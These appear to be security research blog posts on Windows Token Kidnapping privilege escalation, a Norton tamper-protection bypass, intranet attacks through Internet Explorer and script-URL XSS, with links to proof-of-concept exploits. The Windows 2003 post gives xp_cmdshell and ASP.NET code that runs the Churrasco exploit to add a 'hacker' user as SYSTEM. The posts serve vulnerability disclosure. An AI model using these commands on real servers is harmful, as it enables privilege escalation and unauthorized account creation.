Token Kidnapping's Revenge

Finally I got some free time to take a look at Windows for security issues, I was initialy amazed with Windows 7 and Windows 2008 R2 they looked really solid but after some time I started to find some issues.
These issues are not really dangerous (depending on the scenario) but allow to continue exploiting Windows using a new attack vector to perform Token Kidnapping (http://www.argeniss.com/research/TokenKidnapping.pdf) .
Don't get me wrong MS properly fixed the issues (http://www.microsoft.com/technet/security/bulletin/MS09-012.mspx) detailed in Token Kidnapping presentation but they didn't find/fix all the attack vectors.
With this new attack vector it's still possible to elevate privileges to Local System account from almost any process that has impersonation rights bypassing new Windows services protections such as Per service SID, Write restricted token, etc
Probably I will be presenting the findings at Hackers to Hackers Conference in Brazil (http://www.h2hc.com.br/) in a couple of weeks.

Opening Intranets to attacks by using Internet Explorer

I just released a whitepaper titled: Opening Intranets to attacks by using Internet Explorer, I hope you find it interesting, you can find it here http://www.argeniss.com/research/HackingIntranets.pdf


Enjoy.

Antivirus, antivirus, antivirus...

My last post was about a bug in an antivirus product, not big deal, all software has bugs.
I was kindly pointed to this article http://isc.sans.org/diary.html?storyid=6010 by Ryan Naraine, it's about an incident were one of my token kidnapping exploits was used, it's a weird feeling to know that some tool of yours was used in an attack but in the end it's not about the tools it's about the user, the intention, etc. anyways, what really surprized me was that no antivirus is detecting the exploits!!! we all know that antivirus suck but not being able to detect a very old exploit with signature analysis that really sucks.

Bypassing Norton Antivirus "Product Tamper Protection"

What's Norton Product Tamper Protection? It's a security setting on Norton Antivirus that "Lets you protect your Norton product from an attack or modification by unknown, suspicious, or threatening applications", the option is enabled by default. Basically it protects NAV processes so other processes can't access them (debug, inject code, modify thread execution, etc.), it doesn't matter that current user has permission on them he won't be able to access Norton Antivirus processes.

Without doing much research I guess NAV intercepts Native API calls and return access denied when trying to open a NAV process or thread with dangerous access options. The problem is that NAV forgot to also protect other process objects such as shared sections, LPC ports, etc., so an attacker can put code in a shared section and then make the process jump to the injected code, lets see how to do it.

Injecting and running code on NAV GUI process:
When pressing F1 or accessing NAV GUI help, Windows HTML Help is loaded, NAV GUI process uses HTML Help ActiveX so no new process is created. When the HTML Help is loaded a shared section named \BaseNamedObjects\DfSharedHeapXXXXXX (where XXXXXX are hex numbers) is created, this particular shared section is related with a vulnerability I found long time ago (http://www.argeniss.com/research/SSExploit.c) where besides the shared section being created on user process it was also created in a privileged process under certain circumstances, this shared section has pointers saved so it was possible to overwrite them and make the process to execute arbitrary code elevating privileges (http://www.argeniss.com/research/hackwininter.zip). Microsoft fixed this issue (http://www.microsoft.com/technet/security/bulletin/MS05-012.mspx) by avoiding the creation of the shared section on privileged processes, so there isn't elevation of privileges anymore but you still can overwrite the data in the shared section of course you will only be able to execute code in a process you already own, but in this case this issue can be used to bypass NAV process protection since you will be able to modify NAV GUI process and run arbitrary code inside it.

This is not big deal but it shows that sometimes some protections are useless when they are not properly audited and a simple and known issue can be used to bypass them.

Enjoy.

Token Kidnapping Windows 2008 PoC exploit

Now it's time for Windows 2008 exploit (it should work on Windows 2003 too)
You will see that the super secure IIS 7 can be owned, too weak by default :)

You can find the PoC exploit here http://www.argeniss.com/research/Churrasco2.zip
Enjoy.

Token Kidnapping Windows 2003 PoC exploit

It has been a long time since Token Kidnapping presentation (http://www.argeniss.com/research/TokenKidnapping.pdf) was published so I decided to release a PoC exploit for Win2k3 that alows to execute code under SYSTEM account.

Basically if you can run code under any service in Win2k3 then you can own Windows, this is because Windows services accounts can impersonate.
Other process (not services) that can impersonate are IIS 6 worker processes so if you can run code from an ASP .NET or classic ASP web application then you can own Windows too. If you provide shared hosting services then I would recomend to not allow users to run this kind of code from ASP.


-SQL Server is a nice target for the exploit if you are a DBA and want to own Windows:

exec xp_cmdshell 'churrasco "net user /add hacker"'


-Exploiting IIS 6 with ASP .NET :
...
System.Diagnostics.Process myP = new System.Diagnostics.Process();
myP.StartInfo.RedirectStandardOutput = true;
myP.StartInfo.FileName=Server.MapPath("churrasco.exe");
myP.StartInfo.UseShellExecute = false;
myP.StartInfo.Arguments= " \"net user /add hacker\" ";
myP.Start();
string output = myP.StandardOutput.ReadToEnd();
Response.Write(output);
...


You can find the PoC exploit here http://www.argeniss.com/research/Churrasco.zip

Enjoy.

Something that's gone, it's not "really" gone (II)

It seems I haven't been very clear in my previous post.

I was wrong at saying that: "Actually those kind of URLs (javascript: and vbscript:) continue executing normally when you load the web page in a new tab, new window, in a Frame and in an IFrame." What I was trying to say is that Script URLs can still be used to exploit XSS(that's why I listed those XSS strings) when you load the web page in a new tab, new window, in a Frame and in an IFrame. What I missed is that in fact MS did some changes (and a great job) to prevent exploitation of some vulnerabilities such as http://raffon.net/research/ms/ie/crossdomain/string.html , this PoC doesn't work on IE7 and IE8 because Script URLs don't get executed in that context, this prevents some cross domain bugs or make them harder to exploit.

But Script URLs can still be used to exploit XSS, they weren't complete disabled/removed in IE7 and IE8, RSnake XSS cheat sheet http://ha.ckers.org/xss.html has to be updated :) and there is no XSS mitigation related to Script URLs (http://blogs.msdn.com/dross/archive/2008/03/10/xss-focused-attack-surface-reduction.aspx ) since they still work when exploiting XSS.

Alex was very kind to set up a PoC http://kuza55.awardspace.com/jsuri.html that's shows that you can still get script code executing by using Script URLs.

Thanks to David Ross comments pointing out scenarios were Script URLs are not executed.